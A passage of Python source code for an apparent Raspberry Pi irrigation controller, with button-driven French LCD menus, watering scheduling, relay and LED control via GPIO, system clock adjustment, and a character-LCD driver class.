self.currentMenuSelected == self.CONFIG_MENU: if param.GPIO['btn']['up'][1] == channel: self.configMenuSelected = self.configMenuSelected - 1 if self.configMenuSelected > 0 else len( self.configMenu) - 1 if param.GPIO['btn']['bottom'][1] == channel: self.configMenuSelected = self.configMenuSelected + 1 if self.configMenuSelected < len( self.configMenu) - 1 else 0 # Adds or removes days between watering elif self.configMenuSelected == self.DAYS_OF_WATERING_CONFIG_MENU: if param.GPIO['btn']['up'][1] == channel: self.daysBetweenWatering = self.daysBetweenWatering + 1 if self.daysBetweenWatering < 7 else 1 if param.GPIO['btn']['bottom'][1] == channel: self.daysBetweenWatering = self.daysBetweenWatering - 1 if self.daysBetweenWatering > 1 else 7 # Defines the time when the watering must start elif self.configMenuSelected == self.START_WATERING_AT_CONFIG_MENU: if param.GPIO['btn']['up'][1] == channel: self.add_start_time() if param.GPIO['btn']['bottom'][1] == channel: self.remove_start_time() # Adds or removes the duration of watering elif self.configMenuSelected == self.DURATION_OF_WATERING_CONFIG_MENU: if param.GPIO['btn']['up'][1] == channel: self.durationOfWatering += 10 if param.GPIO['btn']['bottom'][ 1] == channel and self.durationOfWatering > 10: self.durationOfWatering -= 10 # Changes the current mode elif self.configMenuSelected == self.MODE_SELECTION_CONFIG_MENU: length = len(self.modeList) if param.GPIO['btn']['up'][1] == channel: self.currentModeSelected = self.currentModeSelected + 1 if self.currentModeSelected < length - 1 else 0 if param.GPIO['btn']['bottom'][1] == channel: self.currentModeSelected = self.currentModeSelected - 1 if self.currentModeSelected > 0 else length - 1 # Change the current datetime of the OS elif self.configMenuSelected == self.CHANGE_DAY_DATE_CONFIG_MENU: if param.GPIO['btn']['up'][1] == channel: subprocess.call(["sudo", "date", "-s", "+1 day"]) elif param.GPIO['btn']['bottom'][1] == channel: subprocess.call(["sudo", "date", "-s", "-1 day"]) subprocess.call(["sudo", "hwclock", "-w"]) elif self.configMenuSelected == self.CHANGE_MONTH_DATE_CONFIG_MENU: if param.GPIO['btn']['up'][1] == channel: subprocess.call(["sudo", "date", "-s", "+1 month"]) elif param.GPIO['btn']['bottom'][1] == channel: subprocess.call(["sudo", "date", "-s", "-1 month"]) subprocess.call(["sudo", "hwclock", "-w"]) elif self.configMenuSelected == self.CHANGE_YEAR_DATE_CONFIG_MENU: if param.GPIO['btn']['up'][1] == channel: subprocess.call(["sudo", "date", "-s", "+1 year"]) elif param.GPIO['btn']['bottom'][1] == channel: subprocess.call(["sudo", "date", "-s", "-1 year"]) subprocess.call(["sudo", "hwclock", "-w"]) elif self.configMenuSelected == self.CHANGE_HOUR_DATE_CONFIG_MENU: if param.GPIO['btn']['up'][1] == channel: subprocess.call(["sudo", "date", "-s", "+1 hour"]) elif param.GPIO['btn']['bottom'][1] == channel: subprocess.call(["sudo", "date", "-s", "-1 hour"]) subprocess.call(["sudo", "hwclock", "-w"]) elif self.configMenuSelected == self.CHANGE_MINUTE_DATE_CONFIG_MENU: if param.GPIO['btn']['up'][1] == channel: subprocess.call(["sudo", "date", "-s", "+1 minute"]) elif param.GPIO['btn']['bottom'][1] == channel: subprocess.call(["sudo", "date", "-s", "-1 minute"]) subprocess.call(["sudo", "hwclock", "-w"]) # Stops or start the emergency def emergency_btn_pressed(self, channel): return self.last_activity = datetime.datetime.today() # Stops if self.emergency_on: if self.emergency_process.is_alive(): self.emergency_process.terminate() self.emergency_on = False self.currentMenuSelected = self.HOME_MENU GPIO.output(param.GPIO['led']['red'][1], GPIO.LOW) # Starts else: self.emergency_on = True self.currentMenuSelected = self.EMERGENCY_MENU self.stop_watering() # If an old process exists -> terminate if self.emergency_process: if self.emergency_process.is_alive(): self.emergency_process.terminate() self.emergency_process = None # Creation of the new process self.emergency_process = multiprocessing.Process( target=self.start_emergency) self.emergency_process.start() # Adds 10 minutes to the start time def add_start_time(self): if self.startTime[0] == 23 and self.startTime[1] == 50: self.startTime = [0, 0] elif self.startTime[1] == 50: self.startTime[0] += 1 self.startTime[1] = 0 else: self.startTime[1] += 10 # Removes 10 minutes to the start time def remove_start_time(self): if self.startTime[0] == 0 and self.startTime[1] == 0: self.startTime = [23, 50] elif self.startTime[1] == 00: self.startTime[0] -= 1 self.startTime[1] = 50 else: self.startTime[1] -= 10 # Returns the time 23h30 def display_time(self): hours = str(self.startTime[0]) if self.startTime[0] > 9 else "0" + str( self.startTime[0]) minutes = str( self.startTime[1]) if self.startTime[1] > 9 else "0" + str( self.startTime[1]) return hours + "h" + minutes # Displays the main menu def display_menu(self): self.mainMenu.get(self.currentMenuSelected)() # Display the menu to the LCD def display_2_lcd(self, lines): self.lcd.cursor_mode = CursorMode.hide blank_line = '{:^20}'.format(' ') for key, value in enumerate(lines): self.lcd.cursor_pos = (key, 0) if value: self.lcd.write_string('{:20}'.format(value)) else: self.lcd.write_string(blank_line) # Displays the home menu def display_menu_home(self): self.configMenuSelected = 0 today = datetime.datetime.today() line1 = '{:^20}'.format(today.strftime("%d/%m/%Y %H:%M")) line2 = '{:^20}'.format('Mode ' + self.modeList[self.currentModeSelected]) line4 = None # If watering ongoing if self.ongoingWatering: line3 = 'Arrosage en cours ' line4 = '{:^20}'.format(self.end_watering_in()) # If mode MANU elif self.modeList[self.currentModeSelected] == "MANU": line3 = 'Pas d\'arro programme' # If mode AUTO else: line3 = 'Proch. arro. dans: ' line4 = '{:^20}'.format(self.next_watering_in()) self.display_2_lcd([line1, line2, line3, line4]) # Displays the details of the selected configuration def display_config_details(self): self.configMenu[self.configMenuSelected][0]() def display_menu_start_stop_watering(self): if self.ongoingWatering: # If the ON mode is selected -> cant stop the watering if self.modeList[self.currentModeSelected] == 'ON': self.display_2_lcd([ "Impossible d'arreter", "l'arrosage en cours", '{:^20}'.format("Mode ON active"), None ]) else: self.stop_watering() self.display_2_lcd([ None, '{:^20}'.format("Arret de l'arrosage"), '{:^20}'.format("en cours..."), None ]) else: # If the OFF mode is selected -> cant start the watering if self.modeList[self.currentModeSelected] == 'OFF': self.display_2_lcd([ "Impossible d'allumer", "l'arrosage", '{:^20}'.format("Mode OFF active"), None ]) else: self.start_watering() self.display_2_lcd([ None, '{:^20}'.format('Demarrage de'), '{:^20}'.format("l'arrosage en cours..."), None ]) time.sleep(3) self.currentMenuSelected = self.HOME_MENU def display_menu_watering_days(self): self.display_2_lcd([ 'Arrosage tous les ', '{:^20}'.format(str(self.daysBetweenWatering) + ' jours'), None, '<Retour Home>' ]) def display_menu_start_time(self): self.display_2_lcd([ 'Arrosage a partir de', '{:^20}'.format(self.display_time()), None, '<Retour Home>' ]) def display_menu_duration(self): self.display_2_lcd([ 'Arrosage pendant ', '{:^20}'.format(str(self.durationOfWatering) + ' min'), None, '<Retour Home>' ]) def display_menu_mode(self): mode = "" for key, val in enumerate(self.modeList): if key == self.currentModeSelected: mode += " >" + val + "< " else: mode += " " + val.lower() + " " self.display_2_lcd([ 'Mode d\'arrosage ', '{:^20}'.format(mode), None, '<Retour Home>' ]) def display_menu_change_day_date(self): today = datetime.datetime.today() day = today.strftime("%d") month = today.strftime("%m") year = today.strftime("%Y") hour = today.strftime("%H") minute = today.strftime("%M") self.display_2_lcd([ 'Changement du jour', '{:^20}'.format('>' + day + '<' + '/' + month + '/' + year), '{:^20}'.format(hour + ':' + minute), '<Retour Home>' ]) def display_menu_change_month_date(self): today = datetime.datetime.today() day = today.strftime("%d") month = today.strftime("%m") year = today.strftime("%Y") hour = today.strftime("%H") minute = today.strftime("%M") self.display_2_lcd([ 'Changement du mois', '{:^20}'.format(day + '/' + '>' + month + '<' + '/' + year), '{:^20}'.format(hour + ':' + minute), '<Retour Home>' ]) def display_menu_change_year_date(self): today = datetime.datetime.today() day = today.strftime("%d") month = today.strftime("%m") year = today.strftime("%Y") hour = today.strftime("%H") minute = today.strftime("%M") self.display_2_lcd([ 'Changement de l\'an', '{:^20}'.format(day + '/' + month + '/' + '>' + year + '<'), '{:^20}'.format(hour + ':' + minute), '<Retour Home>' ]) def display_menu_change_hour_date(self): today = datetime.datetime.today() day = today.strftime("%d") month = today.strftime("%m") year = today.strftime("%Y") hour = today.strftime("%H") minute = today.strftime("%M") self.display_2_lcd([ 'Changement de l\'heure', '{:^20}'.format(day + '/' + month + '/' + year), '{:^20}'.format('>' + hour + '<' + ':' + minute), '<Retour Home>' ]) def display_menu_change_minute_date(self): today = datetime.datetime.today() day = today.strftime("%d") month = today.strftime("%m") year = today.strftime("%Y") hour = today.strftime("%H") minute = today.strftime("%M") self.display_2_lcd([ 'Changement des min', '{:^20}'.format(day + '/' + month + '/' + year), '{:^20}'.format(hour + ':' + '>' + minute + '<'), '<Retour Home>' ]) def display_config_menu(self): if 1 <= self.configMenuSelected <= len(self.configMenu) - 2: config_menu = [ self.configMenuSelected - 1, self.configMenuSelected, self.configMenuSelected + 1 ] elif self.configMenuSelected == len(self.configMenu) - 1: config_menu = [ self.configMenuSelected - 2, self.configMenuSelected - 1, self.configMenuSelected ] else: config_menu = [0, 1, 2] lines = [] for i in config_menu: if i == self.configMenuSelected: lines.append('{:-^20}'.format('>' + self.configMenu[i][1] + '<')) else: lines.append('{:^20}'.format(self.configMenu[i][1])) lines.append('<Home Select>') self.display_2_lcd(lines) def display_emergency(self): self.display_2_lcd([ '{:^20}'.format('Urgence activee !'), None, '{:^20}'.format('Systeme desactive'), None ]) # Returns True if it's necessary to watering # Returns False if not def has_to_water(self): time_dif = self.get_next_watering_date() - datetime.datetime.today() if math.ceil(time_dif.total_seconds() / 60) <= 0: return True return False # Returns the time before the next watering begin def next_watering_in(self): time_dif = self.get_next_watering_date() - datetime.datetime.today() return self.convert_time_dif_to_string(time_dif) # Returns the next datetime to be watered def get_next_watering_date(self): if self.lastWatering: next_watering_date = self.lastWatering + datetime.timedelta( days=self.daysBetweenWatering) else: next_watering_date = datetime.datetime.today() day = next_watering_date.strftime("%d") month = next_watering_date.strftime("%m") year = next_watering_date.strftime("%Y") hour = '{:02d}'.format(self.startTime[0]) minute = '{:02d}'.format(self.startTime[1]) return datetime.datetime.strptime( day + "/" + month + "/" + year + " " + hour + ":" + minute, "%d/%m/%Y %H:%M") # Returns the time until the watering is completed def end_watering_in(self): time_dif = self.endWateringDate - datetime.datetime.today() return self.convert_time_dif_to_string(time_dif) # Converts the time difference to a string def convert_time_dif_to_string(self, time_dif): seconds = time_dif.seconds minutes = math.floor(seconds / 60) hours = math.floor(minutes / 60) days = time_dif.days if days > 0: return str(days) + "j " + str(math.floor(seconds / 3600)) + "h" elif hours > 0: hours = math.floor(time_dif.seconds / 3600) return str(hours) + "h" + '%02d' % math.floor( (seconds - hours * 3600) / 60) elif minutes > 0: return str(minutes) + " min" else: return str(seconds) + " sec" # Starts the watering def start_watering(self): # If the mode is OFF, cannot water if self.modeList[self.currentModeSelected] == "OFF": return # If the emergency is on if self.emergency_on: return GPIO.output(param.GPIO['relay'][1], GPIO.HIGH) self.ongoingWatering = True self.lastWatering = datetime.datetime.today() self.endWateringDate = self.lastWatering + datetime.timedelta( minutes=self.durationOfWatering) # Terminates an old process if exists if self.watering_process: if self.watering_process.is_alive: self.watering_process.terminate() self.watering_process = None self.watering_process = multiprocessing.Process(target=self.watering) self.watering_process.start() # Stops the watering def stop_watering(self): # If the current mode is ON, cannot stop the watering if self.modeList[ self.currentModeSelected] == "ON" and not self.emergency_on: return if self.watering_process: if self.watering_process.is_alive(): self.watering_process.terminate() self.watering_process = None GPIO.output(param.GPIO['relay'][1], GPIO.LOW) self.ongoingWatering = False GPIO.output(param.GPIO['led']['green'][1], GPIO.LOW) # Blinks the LED during the watering def watering(self): green_led = param.GPIO['led']['green'][1] self.led_blink(green_led, 5, 0.1) while True: GPIO.output(green_led, GPIO.HIGH) time.sleep(1) GPIO.output(green_led, GPIO.LOW) time.sleep(1) # Blinks during 1 sec fast def led_blink(self, pin, how_much, how_fast): for i in range(how_much): GPIO.output(pin, GPIO.HIGH) time.sleep(how_fast) GPIO.output(pin, GPIO.LOW) time.sleep(how_fast) # Starts the emergency process def start_emergency(self): while True: GPIO.output(param.GPIO['led']['red'][1], GPIO.HIGH) time.sleep(1) GPIO.output(param.GPIO['led']['red'][1], GPIO.LOW) time.sleep(1) def switch_off_lcd(self): self.lcd.display_enabled = False self.lcd.backlight_enabled = False def switch_on_lcd(self): self.lcd.display_enabled = True self.lcd.backlight_enabled = True self.lcd.clear() self.lcd.cursor_pos = (0, 0) self.lcd.cursor_mode = CursorMode.hide
class Driver: Newline = '\r\n' def __init__(self, rsPin, enPin, d4Pin, d5Pin, d6Pin, d7Pin, boardNum=GPIO.BCM, rwPin=None, cols=16, rows=2, warnings=False): if warnings is False: GPIO.setwarnings(False) self.cols = cols self.rows = rows self.firstRun = True self.lcd = CharLCD(cols=cols, rows=rows, pin_rw=rwPin, pin_rs=rsPin, pin_e=enPin, pins_data=[d4Pin, d5Pin, d6Pin, d7Pin], numbering_mode=boardNum) self.lcdmem = self._generate_lcd_memory() self.curpos = [0, 0] # [row, column] self._warm_up_display() sleep(1) self.lcd.clear() sleep(1) def __enter__(self): return self def __exit__(self, exc_type, exc_val, exc_tb): GPIO.cleanup() def _warm_up_display(self): ''' Fills every section of the display with spaces so the display gets "warmed up" and doesnt output junk when we start sending real data to it. :return: ''' characters = self.cols * self.rows for x in range(characters): self.append_to_screen(' ') def _generate_lcd_memory(self): mem = [] for x in range(self.rows): row = [] for y in range(self.cols): row.append('') mem.append(row) return mem def _update_cursor_position(self): pass def send_newline(self): '''Sends a newline character to the LCD screen. :return: None ''' self.lcd.write_string(self.Newline) if self.rows - 1 == self.curpos[0]: self.curpos[0] = 0 else: self.curpos[0] += 1 self.curpos[1] = 0 def center_text(self, text): '''Returns supplied text centered based on how many columns the LCD screen has :param text: Text to center :type text: str :return: Centered text :rtype: str ''' if len(text) > self.cols: raise Exception('Cant Center Text greather than screen width') if len(text) == self.cols: return text return text.center(self.cols, ' ') def append_to_screen(self, text, delay=.2): '''Appends text to the screen where the cursor last ended. :param text: String to write to the LCD screen :type text: str :param delay: Time to wait before writing string to the screen :type delay: float :return: None ''' def determine_cursor_row(): if columnCounter > self.cols - 1: if self.curpos[1] == self.cols - 1: self.curpos[1] = 0 else: self.curpos[1] += 1 def update_cursor_column(): self.curpos[1] = columnCounter #sleep(delay) columnCounter = self.curpos[1] for char in text: update_cursor_column() determine_cursor_row() # writes data to LCD self.lcd.write_string(char) # updates the memory of what is written to the LCD self.lcdmem[self.curpos[0]][self.curpos[1]] = char if columnCounter == self.cols - 1: columnCounter = 0 update_cursor_column() self.curpos[0] += 1 if self.curpos[0] > self.rows - 1: self.curpos[0] = 0 else: columnCounter += 1 update_cursor_column() def refresh_screen(self, text, delay=.2): '''Clears the LCD and writes a string of text :param text: String to write to the LCD screen :type text: str :param delay: Time to wait before writing string to the screen :type delay: float :return: None ''' self.lcd.clear() self.append_to_screen(text, delay) def clear_screen(self): '''Clears the LCD screen :return: None ''' self.curpos = [0, 0] # blanks out the LCD memory self.lcdmem = self._generate_lcd_memory() self.lcd.clear() def show_whats_displayed(self): '''Tool to show on the command line what is currently displayed to the screen''' totalWidth = self.cols + 2 print('Output Display'.center(totalWidth)) print('-' * totalWidth) for row in self.lcdmem: lineText = ''.join(letter for letter in row) if len(lineText) < self.cols: padding = self.cols - len(lineText) print('|' + lineText + ' ' * padding + '|') else: print('|{}|'.format(lineText)) print('-' * totalWidth)